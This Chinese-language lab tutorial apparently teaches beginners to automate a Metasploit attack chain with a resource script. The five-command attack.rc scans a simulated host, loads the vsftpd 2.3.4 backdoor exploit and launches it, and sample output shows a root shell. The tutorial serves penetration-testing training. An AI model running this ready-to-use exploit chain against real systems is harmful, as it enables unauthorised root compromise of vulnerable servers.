使用 Metasploit 资源脚本自动化攻击

Kali LinuxBeginner
立即练习

引言

欢迎来到本实验,学习如何使用 Metasploit 资源脚本自动化攻击。Metasploit Framework 是一个强大的渗透测试工具,但为每次任务手动输入命令可能会重复且耗时。资源脚本(以 .rc 为扩展名的简单文本文件)允许你自动化这些命令序列。

在本实验中,你将学习如何创建一个资源脚本,以自动化针对易受攻击服务的完整攻击链。这包括设置工作区、扫描目标、选择漏洞利用(exploit)、配置它以及发起攻击。完成本实验后,你将能够创建自己的脚本来简化你的渗透测试工作流程。

在本实验中,我们将以一台模拟的易受攻击机器为目标。假设目标机器的 IP 地址是 10.0.2.15

创建一个带有 .rc 扩展名的新文件

在本步骤中,你将创建资源脚本文件。Metasploit 资源脚本本质上是一个文本文件,其中包含按顺序执行的 msfconsole 命令列表。按照惯例,这些文件具有 .rc 扩展名。

我们将使用 nano 文本编辑器在默认的 ~/project 目录中创建一个名为 attack.rc 的文件。

打开你的终端并执行以下命令来创建并打开新文件:

nano attack.rc

此命令将在 nano 编辑器中打开一个空文件。目前,只需保存空文件并按 Ctrl+X,然后按 Y,最后按 Enter 退出编辑器。你现在已经创建了将在后续步骤中填充的资源脚本文件。

向文件中添加 msfconsole 命令序列

在本步骤中,你将向资源脚本添加初始命令。这些命令将为我们的测试设置一个专用工作区(workspace),并运行一个基本的 Nmap 扫描来收集目标信息。在 Metasploit 中,将工作组织到不同的工作区是一个良好的实践。

首先,再次使用 nano 打开 attack.rc 文件:

nano attack.rc

现在,向文件中添加以下行。第一条命令创建一个名为 vsftpd_lab 的新工作区,第二条命令针对我们的目标(10.0.2.15)运行 Nmap 扫描,并将结果保存到数据库。

workspace -a vsftpd_lab
db_nmap -A 10.0.2.15

添加这两行后,你的 attack.rc 文件应该与此完全一致。按 Ctrl+X,然后按 Y,最后按 Enter 保存文件并退出 nano

包含使用 exploit、设置选项和运行的命令

在本步骤中,你将向脚本添加核心攻击命令。我们将针对 VSFTPD 服务器中一个已知的漏洞,特别是 vsftpd_234_backdoor exploit。你将添加命令来选择此 exploit,设置所需的 target 选项,最后执行它。

再次使用 nano 打开 attack.rc 文件:

nano attack.rc

将以下命令追加到文件末尾。这些命令指示 Metasploit:

  1. use exploit/unix/ftp/vsftpd_234_backdoor: 选择特定的 exploit 模块。
  2. set RHOSTS 10.0.2.15: 将 RHOSTS (Remote Hosts) 选项设置为我们目标的 IP 地址。
  3. exploit: 发起攻击。
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 10.0.2.15
exploit

添加这些行后,你完整的 attack.rc 文件现在应包含以下五个命令:

workspace -a vsftpd_lab
db_nmap -A 10.0.2.15
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 10.0.2.15
exploit

保存更改并退出 nano 编辑器(Ctrl+XYEnter)。你的自动化攻击脚本现已完成。

使用 -r 标志启动 msfconsole 来执行脚本

在本步骤中,你将执行刚刚创建的资源脚本。Metasploit 控制台 msfconsole 可以使用 -r 标志后跟资源脚本的路径来启动。这会告诉 Metasploit 在启动时执行指定文件中的命令。

确保你位于 ~/project 目录,即你的 attack.rc 文件所在的位置。现在,在你的终端中运行以下命令:

msfconsole -r attack.rc

此命令将启动 Metasploit Framework。它不会立即向你显示通常的 msf6 > 提示符,而是会开始逐一执行 attack.rc 中的每个命令。

观察攻击链的自动化执行

在最后这个步骤中,你将观察你的自动化脚本的结果。当 msfconsole 运行时,你将看到 attack.rc 文件中每个命令的输出。你将看到工作区被创建,Nmap 扫描运行,exploit 被配置,最后攻击被发起。

如果攻击成功,Metasploit 将在目标机器上打开一个命令 shell 会话。你将看到类似如下的消息:

[*] Found shell.
[*] Command shell session 1 opened (10.0.2.4:42931 -> 10.0.2.15:6200) at 2023-10-27 10:30:00 -0400

你现在已经进入了被攻破目标机器的 shell。为了验证这一点,你可以运行 whoami 等命令来查看你当前以哪个用户身份运行。

whoami

预期的输出应该是:

root

这证实了你的自动化脚本已成功攻破目标并获得了 root 访问权限。

要进行清理,输入 exit 关闭命令 shell 会话,然后再次输入 exit 退出 msfconsole

总结

在本实验中,你成功学习了如何使用 Metasploit 资源脚本来自动化渗透测试工作流程。

你首先创建了一个资源脚本文件 (attack.rc)。然后,你用一系列 msfconsole 命令填充了它,以执行完整的攻击链:创建工作区、扫描目标、选择并配置 exploit,最后发起攻击。你学会了如何使用 msfconsole -r 命令执行此脚本,并观察了自动化执行过程。

这项技能对于节省时间并确保安全评估的一致性非常有价值。你现在可以创建更复杂的脚本来自动化未来工作中各种重复性任务。